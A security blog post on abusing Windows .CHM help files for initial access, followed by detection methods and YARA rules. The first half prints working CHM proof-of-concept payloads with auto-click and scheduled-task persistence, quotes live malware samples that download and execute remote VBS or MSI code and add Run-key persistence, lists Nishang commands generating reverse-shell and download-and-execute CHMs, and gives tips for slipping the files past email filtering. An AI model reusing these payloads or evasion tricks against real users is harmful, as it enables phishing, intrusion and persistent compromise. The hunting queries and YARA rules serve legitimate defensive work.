Using Windows helpfile as a foothold

Sec-0ps
17 min readOct 24, 2023

--

Malwarr0s edition: a red-blue approach

In today’s post, we are going to detail how to use and abuse .CHM files to get a foothold, and how to detect it.

TL;DR: The CHM file is an HTML file compiled that is executed through a signed proxy: hh.exe. It can execute commands and we will combine it with other tecnhiques to perform actions such as use msiexec to execute a remote installer, having encoded64 files inside it and create some persistency at the endpoint that we want to attack. We also detail the state of detection and detection ideas to test your artifacts or hunt for attacks.

This technique was popularized first by an APT and soon adapted for some malware families to obtain the initial execution in the machine.

https://www.recordedfuture.com/multi-year-chinese-apt-campaign-targets-south-korean-academic-government-political-entities

The main advantage of using these kinds of not-very popular techniques is the effectiveness that they could have, for example, in the red team engagements. This kind of file could be sent as part of a social engineering campaign where “IT”, “Help Desk” or “Support” convince the user to see the new help for a known software, an update for it, a software package to review, etc.
Let’s move to disseminating the file and the set-up we need to create in order to create our own campaigns.

Set-Up

Before to start developing our own .chm files we need to create some configurations to compile the html files to chm, so we need the following programs and requirements:

KEL CHM Creator v.1.4.0.0: https://dumah7.wordpress.com/2009/02/17/kel-chm-creator-v-1-4-0-0/
Where we found 2 binaries, one for .NET Framework 3.5 and the other for install Kel CHM creator.

You can get files from MSDN archives and install them
Download Htmlhelp.exe: http://web.archive.org/web/20160201063255/http://download.microsoft.com/download/0/A/9/0A939EF6-E31C-430F-A3DF-DFAE7960D564/htmlhelp.exe
Download HelpDocs.zip: http://web.archive.org/web/20160314043751/http://download.microsoft.com/download/0/A/9/0A939EF6-E31C-430F-A3DF-DFAE7960D564/helpdocs.zip
Once all is download and installed we can open and perform the following actions presented in the following screenshots:

Proofs of concept(POC)s:

First POC

The first html file that we are going to use to pop up a calc is simple, this one code file needs the user interaction to pop up the calc executable:

<HTML>
<TITLE>Test by Sec-0ps</TITLE>
<HEAD>
</HEAD>
<BODY>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",calc.exe,">
<PARAM name="Item3" value="273,1,1">
</OBJECT>
<img src="canarytoken" />
</BODY>
</HTML>

Second POC

In this POC we are going to move one step further, we include a script that performs an autoexecution, (this is not our work, is copied for one of the live footholds that we found during our research) of the calc.exe binary:

<HTML>
<TITLE>Test by Sec-0ps</TITLE>
<HEAD>
</HEAD>
<BODY>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",calc.exe,">
<PARAM name="Item3" value="273,1,1">
</OBJECT>
<SCRIPT>
var _0x4f9b=['Click'];(function(_0xb5a54d,_0x9a7955){var _0x531e9d=function(_0x5c5a69){while(--_0x5c5a69){_0xb5a54d['push'](_0xb5a54d['shift']());}};_0x531e9d(++_0x9a7955);}(_0x4f9b,0xb3));var _0x3667=function(_0x3bd949,_0x29f930){_0x3bd949=_0x3bd949-0x0;var _0x9eeca2=_0x4f9b[_0x3bd949];return _0x9eeca2;};x[_0x3667('0x0')]();
</SCRIPT>
<img src="" />
</BODY>
</HTML>

Third POC, Calcs! Calcs everywhere!
In the following POC we are going to perform a call to the calc executable but we are going to make one interesting thing, add persistence:

<HTML>
<TITLE></TITLE>
<HEAD>
</HEAD>
<BODY>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",schtasks, /create /sc minute /mo 15 /tn CalcsEverywhere /tr &quot;calc.exe /^q^n ^/^norestart&quot; /f">
<PARAM name="Item3" value="273,1,1">
</OBJECT>
<SCRIPT>
var _0x4f9b=['Click'];(function(_0xb5a54d,_0x9a7955){var _0x531e9d=function(_0x5c5a69){while(--_0x5c5a69){_0xb5a54d['push'](_0xb5a54d['shift']());}};_0x531e9d(++_0x9a7955);}(_0x4f9b,0xb3));var _0x3667=function(_0x3bd949,_0x29f930){_0x3bd949=_0x3bd949-0x0;var _0x9eeca2=_0x4f9b[_0x3bd949];return _0x9eeca2;};x[_0x3667('0x0')]();
</SCRIPT>
<img src="" />
</BODY>
</HTML>

POCs are cool but, what are the real threat actors use? Let’s go deep into that, we have two samples uploaded to virus total, exciting ones, and we decompile them for you:

First one, North Korea strikes back:
Link -> Virus Total
Let’s decompile this file using the following function of the framework that we use:

We accept the following dialogue and we can pick the HTML code:

In the same folder we will find the following code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns:o =
"urn:schemas-microsoft-com:office:office"><HEAD><TITLE>Topic 1</TITLE>
<META content="text/html; charset=ks_c_5601-1987" http-equiv=Content-Type>
<META name=GENERATOR content="MSHTML 11.00.10570.1001"><LINK rel=stylesheet
href="_template.css"></HEAD>
<BODY>
<DIV id=nsbanner>
<DIV id=bannerrow1>
<TABLE class=bannerparthead>
</TABLE></DIV>
<DIV id=titlerow>
<H1 class=dtH1>북한인권단체 활동의 어려움과 활성화 방안</H1></DIV></DIV>
<DIV id=nstext>&nbsp;</DIV>
<DIV id=nstext><!--StartFragment-->
<P class=0
style="WORD-BREAK: keep-all; TEXT-ALIGN: center; TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
style="FONT-SIZE: 20pt; FONT-FAMILY: 함초롬바탕; FONT-WEIGHT: bold; mso-fareast-font-family: 함초롬바탕">이광백 통일미디어 & DailyNK 대표</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt">&nbsp;
<o:p></o:p></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt">&nbsp;
<o:p></o:p></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
style="FONT-SIZE: 13pt; FONT-FAMILY: 함초롬바탕; FONT-WEIGHT: bold; mso-fareast-font-family: 함초롬바탕">1. 북한 문제</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
lang=EN-US style="mso-fareast-font-family: 함초롬바탕"></SPAN><SPAN
style="FONT-FAMILY: 함초롬바탕; mso-fareast-font-family: 함초롬바탕">1) 북한핵 문제 - 한국 사회의 안전보장과 한반도 및 세계 평화 문제<br>2) 북한 주민의 자유와 권리 침해 문제 - 전 세계인이 협력해 해결해야할 보편적인 인권 문제<br>3) 한반도 분단과 통일, 그리고 남북관계 문제
</SPAN><SPAN lang=EN-US
style="LETTER-SPACING: 0pt; mso-fareast-font-family: 함초롬바탕; mso-font-width: 100%; mso-text-raise: 0pt">.</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
style="FONT-SIZE: 13pt; FONT-FAMILY: 함초롬바탕; FONT-WEIGHT: bold; mso-fareast-font-family: 함초롬바탕">2. 북한인권문제는 민간단체활동이 중요</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
lang=EN-US style="mso-fareast-font-family: 함초롬바탕"></SPAN><SPAN
style="FONT-FAMILY: 함초롬바탕; mso-fareast-font-family: 함초롬바탕">핵문제는 유엔과 주변 이해당사국 등 국제사회가 공동으로 대응하고 있어<br>남북관계 문제는 한국 정부의 주요 정책 가운데 하나<br>북한 인권문제는 한국에 있는 북한인권단체의 역할이 중요<br>
</SPAN><SPAN lang=EN-US
style="LETTER-SPACING: 0pt; mso-fareast-font-family: 함초롬바탕; mso-font-width: 100%; mso-text-raise: 0pt">.</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
style="FONT-SIZE: 13pt; FONT-FAMILY: 함초롬바탕; FONT-WEIGHT: bold; mso-fareast-font-family: 함초롬바탕">3. 북한인권단체 활동의 어려움</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
lang=EN-US style="mso-fareast-font-family: 함초롬바탕"></SPAN><SPAN
style="FONT-FAMILY: 함초롬바탕; mso-fareast-font-family: 함초롬바탕">1) 한국 사회의 정치환경으로 인한 어려움<br><br>
지난 5년 북한인권단체와 활동에 대한 정부의 소극적 태도, 때론 정치적 압박 때문에
인권단체의 역량이 크게 감소, 활동 여건도 악화
단체 외부적으로는 전단금지법과 정부의 탈북인 단체 고발로 탈북인과 북한인권단체에 대한 국민적 인식이 부정적으로 바뀌고
단체 내부적으로는 활동가들의 수가 줄고, 재정적 기반이 약화되었으며, 단체 활동이 크게 위축<br><br><br>
2) 코로나19 및 북한 당국의 외부 차단 정책으로 인한 어려움<br><br>
- 코로나19 방역을 위한 북중무역 중단과 북중국경 차단<br><br>
2020년 1월부터 북중국경 차단이 시작되고,<br>
북중 국경 차단과 방역 조치를 위해 대규모 군부대 인력을 북중 국경 지역에 파견<br>
코로나19가 발생한 일부 지역을 봉쇄하고, 지역간 이동을 수시로 통제<br>
이로 인해 장마당과 외부와의 송금활동, 주민들의 이동이 위축되고,<br>
북한 주민의 경제 상황도 악화된 것으로 보여<br>
결과적으로 북한 주민의 인권 개선을 위한 북한 주민과 외부 단체의 소통과 연대의 어려움도 커져<br><br><br>
- 반동사상문화배격법 제정과 외부 정부 단속 및 처벌 강화<br><br>
북한 주민을 대상으로 한 외부 정보 제공이 크게 어려워지고, <br>
이로 인해 북한 주민이 외부 정보 획득의 비용과 위험도 크게 높아져 <br>
북한 주민의 알권리를 증진하고, 북한 사회의 변화에 필요한 지식과 정보 제공 활동이 크게 위축
</SPAN><SPAN lang=EN-US
style="LETTER-SPACING: 0pt; mso-fareast-font-family: 함초롬바탕; mso-font-width: 100%; mso-text-raise: 0pt">.</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
style="FONT-SIZE: 13pt; FONT-FAMILY: 함초롬바탕; FONT-WEIGHT: bold; mso-fareast-font-family: 함초롬바탕">4. 어려움 극복방안과 민관협력 방안</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
lang=EN-US style="mso-fareast-font-family: 함초롬바탕"></SPAN><SPAN
style="FONT-FAMILY: 함초롬바탕; mso-fareast-font-family: 함초롬바탕">
1) 실질적인 북한인권증진계획 수립<br><br><br>
지난 정부에서는 북한인권증진계획을 수립했음에도 불구하고,<br><br>
거의 실행하지 못했다는 평가가 많아<br><br>
새 정부에서는 북한인권증진계획을 정확히 수립하고 효과적으로 실행하는 것이 중
<br><br>
2) 북한인권활동 활성화<br><br><br>
- 영역별 전문화 : 정보유입, 다양한 캠페인과 권리옹호 활동, 탈북인 구출과 정착 지원, 국제연대 <br><br>
- 단체 및 민관협력 복원<br><br>
- 전단금지법 등 북한인권압박을 위한 법률 폐지<br><br>
3) 북한인권재단 설립<br><br><br>
- 정부와 청와대가 먼저 각 정당의 북한인권재단 이사 추천 촉구<br><br>
- 재단 이사와 실무진에 북한인권 문제 해결을 위한 의지와 인권활동 경험을 갖춘 인사 비중 높이기<br><br>
4) 국민적 공감대를 넓히기 위한 여론 및 교육 활동<br><br><br>
- 국민적 관심을 모으기 위한 다양한 홍보, 교육 캠페인과 여론 지원<br><br>
- 통일교육, 안보교육에 북한주민의 생활과 인권 실상 포함<br><br>
- 북한 주민과의 소통 활동 강화 : KBS한민족방송 프로그램 개선(일방적 홍보 방송에서 벗어나)<br><br>
5) 주요 북한인권의제<br><br><br>
- 북한 주민의 정보자유 / 인터넷자유 : 북한 주민의 언론자유와 알권리 증진, 그리고 북한 사회 변화의 핵심 동력인 북한 주민에게 변화에 필요한 지식과 정보 제공을 위해서도 중요<br><br>
- 정치범 수용소 조사 : 현재 북한 인권 문제 가운데 가장 심각하고 중대한 문제, 북한 인권 문제의 핵심 의제로, 실태 조사와 수용소 해체 등을 위한 국제연대 활동이 중요한 시점<br><br>
- 북한 주민의 인권침해 조사 기록 : 북한 주민의 인권실태를 파악하고 가해자 처벌을 위한 법률적 기록을 지속적으로 축적하고 있는데, 이를 확대 발전시킬 수 있는 방안 마련이 중요<br><br>
- 북한 정부와의 인권 대화 : 북한 당국과 국제사회의 대화와 협상 테이블에 북한 인권 문제를 올려놓기 위한 지속적인 노력 필요, 북한 당국의 인권 침해를 줄이기 위한 실질적 효과도 중요<br><br>
- 코로나19, 긴급 의료 지원 : 북한 당국은 국경차단, 도시 봉쇄, 이동통제 등 방법으로 코로나차단에 주력해왔는데, 그로 인한 북한 주민의 인권 침해 현상이 나타나고 있는 것으로 알려져 있어, 이를 파악하고 해결하기 위한 노력 필요. 코로나19 확산으로 위협 받고 있는 북한 주민의 건강권 보호를 위한 인도적 지원도 중요<br><br>
</SPAN><SPAN lang=EN-US
style="LETTER-SPACING: 0pt; mso-fareast-font-family: 함초롬바탕; mso-font-width: 100%; mso-text-raise: 0pt">.</SPAN></P>
<P class=0
style="TEXT-AUTOSPACE: ; mso-pagination: none; mso-padding-alt: 0pt 0pt 0pt 0pt"><SPAN
lang=EN-US style="mso-fareast-font-family: 함초롬바탕"></SPAN><SPAN
style="FONT-FAMILY: 함초롬바탕; mso-fareast-font-family: 함초롬바탕">(끝)
</SPAN><SPAN lang=EN-US
style="LETTER-SPACING: 0pt; mso-fareast-font-family: 함초롬바탕; mso-font-width: 100%; mso-text-raise: 0pt">.</SPAN></P>
<br>
</SPAN><SPAN lang=EN-US
style="LETTER-SPACING: 0pt; mso-fareast-font-family: 함초롬바탕; mso-font-width: 100%; mso-text-raise: 0pt">.</SPAN></P>
<HR>
</DIV>
<DIV class=footer>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Copyright &copy; 2023 <A
href="http://www.dailynk.kr" target=_blank>DailyNK</A>. All Rights Reserved.
</P></DIV>
</BODY>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=',cmd, /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovL2ZpbGUuY29tLXBvcnQuc3BhY2UvaW5kZWVkL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp > "%USERPROFILE%\Links\mini.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\mini.dat" "%USERPROFILE%\Links\mini.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v mini /t REG_SZ /d "%USERPROFILE%\Links\mini.vbs" /f'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
shortcut.Click();
</SCRIPT>
</HTML>

Inside of the code is one base64 encoded code in VBS:

On Error Resume Next
Set mx = CreateObject("Microsoft.XMLHTTP")
mx.open "GET", "httpxx://file{.}com-port{.}space/indeed/show.php?query=50", False
mx.Send
Execute(mx.responseText)

A good point to get some Visual Basic code but quite noisy.

Second one, msiexec is our friend + persistence:
Link -> Virus Total

Let’s decompile this file using the following function of the framework that we use:

We accept the following dialogue and we can pick the HTML code:

In the same folder we will find the following code:

<HTML>
<TITLE></TITLE>
<HEAD>
</HEAD>
<BODY>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",schtasks, /create /sc minute /mo 15 /tn EdgeUpdater /tr &quot;%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^pxx://t^h^en^e^wmu^s^i^ct^un^e^s{.}com/^WV^KA/q^b^v.p^hp^?^st=%computername%*%username% /^q^n ^/^norestart&quot; /f">
<PARAM name="Item3" value="273,1,1">
</OBJECT>
<SCRIPT>
var _0x4f9b=['Click'];(function(_0xb5a54d,_0x9a7955){var _0x531e9d=function(_0x5c5a69){while(--_0x5c5a69){_0xb5a54d['push'](_0xb5a54d['shift']());}};_0x531e9d(++_0x9a7955);}(_0x4f9b,0xb3));var _0x3667=function(_0x3bd949,_0x29f930){_0x3bd949=_0x3bd949-0x0;var _0x9eeca2=_0x4f9b[_0x3bd949];return _0x9eeca2;};x[_0x3667('0x0')]();
</SCRIPT>
<img src="" />
</BODY>
</HTML>

About testing this foothold in a Proofpoint + Outlook environment, our results are that sending the file that is created and zipped is detected as suspicious and the email never appears in the inbox of the victim, but what if we protect the zip file… Yep, it works! And if we create a download link and use it to create a QR to send to our victims? Bingo, it works too 😉 Some good ideas for our red team friends.

If you want to check more about this technique related to pentesting or red team, as always use as a reference the nishang Github: GitHub repo and look for the following Powershell script.

State of detection: .CHM

Problems detecting malicious .CHM files

.CHM files are hard to detect as malicious for two main reasons: the proxy executor and the compressed data.

Proxy execution

The .CHM files are interpreted by HH.EXE, so this technique can be classified as System Binary Proxy Execution. In fact, MITRE details this TTP as a subtechnique: [T1218.001] System Binary Proxy Execution: Compiled HTML File.

As in the other cases, this technique uses a binary that is executed on behalf of another, so when an EDR creates process events regarding this execution, the FileName, Hash and many other parameters are from the proxy binary, and it is often signed and whitelisted in many places.

However, the Anti-virus can scan statically the file, and detect known evil hash-based threats.

Compressed data

Furthermore, the .CHM files are actually “compiled” (compressed) HTML files, and they have all the drawbacks (for a defender) of a compressed file.

For example, YARA rules can’t detect patterns in compressed files, as the binary information does not contain all the clear-text patterns visible.

Our approach to detecting malicious. CHM

We suggest to detect .CHM activity and either analyze the behaviour of the HH.EXE process and their childs or recover the .CHM file for further analysis.

In order to create rules, the easiest way to detect the execution of these files is by analyzing the Command-Line, focusing on the HH.EXE process or looking for the .CHM extension.

Spotting malicious activity in the logs

A query focused on the HH.EXE process can look like this:

processes = filter processes
WHERE ((event_id == "1"
OR event_id == "4688")
AND exe = "C:\Windows\syswow64\hh.exe"
OR exe = "C:\Windows\system32\hh.exe")

In this case, the rule focuses on two binaries: HH.EXE for x86 and x64 systems. It uses Sysmon’s EventID:1 (Process creation) or the Windows Security Events’s EventID:4688 (A new process has been created).

Here, patterns like the location of the file or the child processes can give a hint of the potentially malicious behaviour of these artefacts. Besides that, the volumetry of each organization should determine how often they open these kinds of files, as its only existence could be in fact an anomaly in a given context.

Analyzing the suspicious .CHM file

In order to analyze the .CHM files, either as an automated solution or as part of a compromise investigation, we have found two clean ways. One is the decompression using any kind of decompressor, like WinRar or 7-zip, which unpacks several files with this structure:

The content of a decompiled/extracted .CHM looks like this

In the image, the core of the logic is stored inside the .HTML file.

The other, cleaner way to unpack the suspicious .CHM files is to use the interpreter:

:: HH.EXE -decompile output_folder input_chm
hh.exe -decompile . .\Test.chm

It unpacks two files:

Directory: C:\Users\Sec-0ps\CHM\Test
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- X/X/202X X:34 XM 10851 Test.chm
-a---- X/X/202X X:38 XM 715 Test.hhc
-a---- X/X/202X X:38 XM 370 Test.html

In this case, it contains some metadata that identifies the software used to create it.

<meta name="GENERATOR" content="KEL CHM Creator v.1.4.0.0">

We can check with some quick dirty rules the difference between the compiled/compressed version of the HTML and the decompiled one:

rule KEL_CHM_Creator
{
strings:
$chm_creator_signature = "content=\"KEL CHM Creator"
condition:
$chm_creator_signature
}

In this case, it matches the .HHC file.

But since the valuable information is stored in the .HTML file, we can use this rule:

rule CHM_bitmap_shorcut
{
strings:
$my_text_string = "value=\"Bitmap::shortcut\">"
$execute_pe = ".exe"
condition:
$my_text_string and $execute_pe
}

However, the documentation shows examples with only one : character instead of two.

source: https://medium.com/r?url=https%3A%2F%2Flearn.microsoft.com%2Fen-us%2Fprevious-versions%2Fwindows%2Fdesktop%2Fhtmlhelp%2Fshortcut

Thus, this rule can be bypassed by putting more : between Bitmap and shorcut, so a more relaxed rule would be:

rule detect_bitmap_shortcut {
strings:
$pattern = /Bitmap:{1,}shortcut/ nocase
condition:
$pattern
}

Creating a Dataset of malicious .CHM files

We saw at the beginning of the article how to create some .CHM files. Now we are going to mix a dataset with samples in the wild and some self-generated.

Getting malicious .CHM samples in the wild

For this part we can take two approaches: select our own samples from outstanding threat reports or perform generic queries in MalwareBazaar, Virustotal and other intel platforms.

CHM is a tag in Virustotal

In Virustotal, CHM exists as a Tag but also as a filetype: vt.FileType.CHM

After some scripting we have decompiled several samples and, if we take a look, we can observe that some of them look like actual help files:

We can take a glance and see all kind of legitimate-looking help-files

Creating our own malicious .CHM

The Nishang post-exploitation framework contains a module to create .CHM with several capabilities.

For the sake of testing, we are going to create a few of them.

In order to create these tests we need to do two things:

  1. Download Nishang from the GitHub repo.
  2. Download and install HTML Help Workshop. The original Microsoft’s link is dead, so you can find up in the blog or from here.

Here you have a sample of the examples and the descriptions of each

We recommend to save Nishang in C:\Nishang, as several Command-lines already contain that path.

PS > Out-CHM -Payload "Get-Process" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
# Above command would execute Get-Process on the target machine when the CHM file is opened.
PS > Out-CHM -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1 -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
# Use above when you want to use a PowerShell script as the payload. Note that if the script expects any parameter passed to it, you must pass the parameters in the script itself
PS > Out-CHM -PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
# Use above command to generate CHM file which download and execute the given PowerShell script in memory on target.
PS > Out-CHM -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
# Use above command to pass an argument to the PowerShell script/module.
PS > Out-CHM -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1
# Use above when you want to use a PowerShell script as the payload. Note that if the script expects any parameter passed to it, you must pass the parameters in the script itself.

Patterns and indicators of suspicious activity in the .CHM

There are some patterns that can indicate malicious content.

Embedded Javascript: <script>

rule Detect_JavaScript_Embedding {
strings:
$js_script = "<script"
condition:
$js_script and fileext == "chm"
}

ActiveX controls: <object> and classid

rule Detect_ActiveX_Controls {
strings:
$activex = "classid=\""
condition:
$activex and fileext == "chm"
}

iFrames: <iframe>, with some src attribute pointing to external websites.

rule Detect_Iframes {
strings:
$iframe = "<iframe"
condition:
$iframe and fileext == "chm"
}

Executable file references

rule Detect_Executable_References {
strings:
$exe_ref = /(\.exe|\.bat|\.com)/
condition:
$exe_ref and fileext == "chm"
}

Command execution references

rule Detect_Command_References {
strings:
$exe_ref = /(cmd|powershell|pwsh)/ nocase
$html = "<HTML" nocase
condition:
$exe_ref and $html
}

Big files

rule Detect_File_Size_Anomalies {
condition:
filesize > 5MB and fileext == "chm"
}

Obfuscated code

rule Detect_Encoded_Content {
strings:
$base64_encoded = "data:application/octet-stream;base64"
$obfuscated_js = "eval("
condition:
($base64_encoded or $obfuscated_js) and fileext == "chm"
}

In case we want to filter, select or detect .CHM files, we can use this rule:

rule Microsoft_Compiled_HTML_Help_File
{
meta:
extension = ".chm"
description = "Microsoft Compiled HTML Help File"
author = "Ivan Kwiatkowski (@JusticeRage)"
strings:
$magic_chm = { 49 54 53 46 }
condition:
$magic_chm at 0
}

Detection results

Here we are going to show some details about the static analysis of some of the samples. The dynamic detection is similar in all cases: HH.EXE executing the .CHM and spawning child processes, so for now, we are going to test the YARA rules against the dataset.

Case 1: Nishang

We have generated some samples with the mentioned cases. The .CHM generated contains some HTML to look like a legitimate help file, but should not deceive us.

The code itself contains several references and links to legitimate Microsoft documentation, hiding the malicious capabilities with the noise.

After running the YARA rules we obtain these matches:

PS> .\yara64.exe -gr .\rule.yar ".\nishang_CHM_tests" | sort
Detect_ActiveX_Controls [] .\nishang_CHM_tests\\get_information.html\doc.htm
Detect_ActiveX_Controls [] .\nishang_CHM_tests\\get_process.html\doc.htm
Detect_ActiveX_Controls [] .\nishang_CHM_tests\\powerpreter.html\doc.htm
Detect_ActiveX_Controls [] .\nishang_CHM_tests\\psTcpOneLine.html\doc.htm
detect_bitmap_shortcut_regex [] .\nishang_CHM_tests\\get_information.html\doc.htm
detect_bitmap_shortcut_regex [] .\nishang_CHM_tests\\get_process.html\doc.htm
detect_bitmap_shortcut_regex [] .\nishang_CHM_tests\\powerpreter.html\doc.htm
detect_bitmap_shortcut_regex [] .\nishang_CHM_tests\\psTcpOneLine.html\doc.htm
Detect_Command_References [] .\nishang_CHM_tests\\get_information.html\doc.htm
Detect_Command_References [] .\nishang_CHM_tests\\get_process.html\doc.htm
Detect_Command_References [] .\nishang_CHM_tests\\powerpreter.html\doc.htm
Detect_Command_References [] .\nishang_CHM_tests\\psTcpOneLine.html\doc.htm
Detect_Executable_References [] .\nishang_CHM_tests\\get_information.html\doc.htm
Detect_Executable_References [] .\nishang_CHM_tests\\get_information.html\doc1.htm
Detect_Executable_References [] .\nishang_CHM_tests\\get_process.html\doc.htm
Detect_Executable_References [] .\nishang_CHM_tests\\get_process.html\doc1.htm
Detect_Executable_References [] .\nishang_CHM_tests\\powerpreter.html\doc.htm
Detect_Executable_References [] .\nishang_CHM_tests\\powerpreter.html\doc1.htm
Detect_Executable_References [] .\nishang_CHM_tests\\psTcpOneLine.html\doc.htm
Detect_Executable_References [] .\nishang_CHM_tests\\psTcpOneLine.html\doc1.htm
Microsoft_Compiled_HTML_Help_File [] .\nishang_CHM_tests\\get_information.chm
Microsoft_Compiled_HTML_Help_File [] .\nishang_CHM_tests\\powerpreter.chm
Microsoft_Compiled_HTML_Help_File [] .\nishang_CHM_tests\\psTcpOneLine.chm
Microsoft_Compiled_HTML_Help_File [] .\nishang_CHM_tests\\get_process.chm

It can be observed how the HTML files contain the shortcut technique, references to executables and commands.

We can see some rules that target the same file, so we can mix the rules in order to obtain fewer and finer results.

Case 2: Sec-0ps Red-Team ops

In this scenario, we analyze the test-files detailed in the first part of this post:

PS> .\yara64.exe -gr .\rule.yar ".\S0_CHM_tests" | sort
Detect_ActiveX_Controls [] .\S0_CHM_tests\\Test.html
Detect_ActiveX_Controls [] .\S0_CHM_tests\\Test2.html
detect_bitmap_shortcut_regex [] .\S0_CHM_tests\\Test.html
detect_bitmap_shortcut_regex [] .\S0_CHM_tests\\Test2.html
Detect_Executable_References [] .\S0_CHM_tests\\Test.html
Detect_Executable_References [] .\S0_CHM_tests\\Test2.html
Microsoft_Compiled_HTML_Help_File [] .\S0_CHM_tests\\Test.chm
Microsoft_Compiled_HTML_Help_File [] .\S0_CHM_tests\\Test2.chm

Case 3: Masslogger malware

For this detection case, we are going to analyze this sample:

|Algorithm|Hash value|
|--- |--- |
|MD5 |ec1e45b2a8046b0ec6b755389962a1d7|
|SHA1 |b16f836c7f2da1998a89bd3c0938464fc121756e|
|SHA256 |c2c46e3758bb95206231b3adb4e3663534edb6f85911bcc3dd31d8e5f9f70b4a|

The sample was observed on Twitter by @reecdeep

Source: https://x.com/reecdeep/status/1317021485848985600?s=20

We can obtain the sample from Any.run .

In this execution, we can observe an example of the process tree that we will observe with the execution of a .CHM file that runs PowerShell commands.

Notice that the binary executing the malicious file is HH.EXE, which is a legitimate binary and thus it is signed by Microsoft.

Case 4: Korea’s APT

We are going to analyze the sample from the Korea’s APT:

|Algorithm|Hash value|
|--- |--- |
|MD5 |002fd493096214a9a44d82acb7f1ac30|
|SHA1 |128fac6c2a68dd844fe51a86308a38136c9e8027|
|SHA256 |76b2f8df4578d65d5b6d57af8784584c1bcf86402d964b567db58e63723b636c|

This file contains text in Korean, so it probably targets people from South Korea and other Korean speakers.

We do not know if the authors are from North Korea, China, United States or any other country, but we believe that the target are South-Koreans and we will call it “Korea’s APT” for now.

If we throw all the generated rules we obtain these results:

PS> .\yara64.exe -gr .\rule.yar ".\Korean_love\" | sort
Detect_ActiveX_Controls [] .\Korean_love\\page_1.html
detect_bitmap_shortcut_regex [] .\Korean_love\\page_1.html
Detect_Command_References [] .\Korean_love\\page_1.html
Microsoft_Compiled_HTML_Help_File [] .\Korean_love\\76b2f8df4578d65d5b6d57af8784584c1bcf86402d964b567db58e63723b636c

Conclusions

.CHM files are not common and easy to spot in the logs once you know what to look at. Monitoring HH.EXE and .CHM commandlines can help to identify malicious activity.

However, .CHM files are legitimate and they are hard to identify as malicious with confident, due to the proxy execution and the compressed information stored inside.

We have shown some tricks and ideas to automate the defense and detection of these threats statically before any malicious actions are performed on the machine.

Good luck and good hunt!

Sources of interest

More information about the different campaigns could be seen here:
https://asec.ahnlab.com/en/34010/
https://www.recordedfuture.com/multi-year-chinese-apt-campaign-targets-south-korean-academic-government-political-entities
https://go.recordedfuture.com/hubfs/reports/cta-2023-0919.pdf
https://www.splunk.com/en_us/blog/security/inside-the-mind-of-a-rat-agent-tesla-detection-and-analysis.html

--

--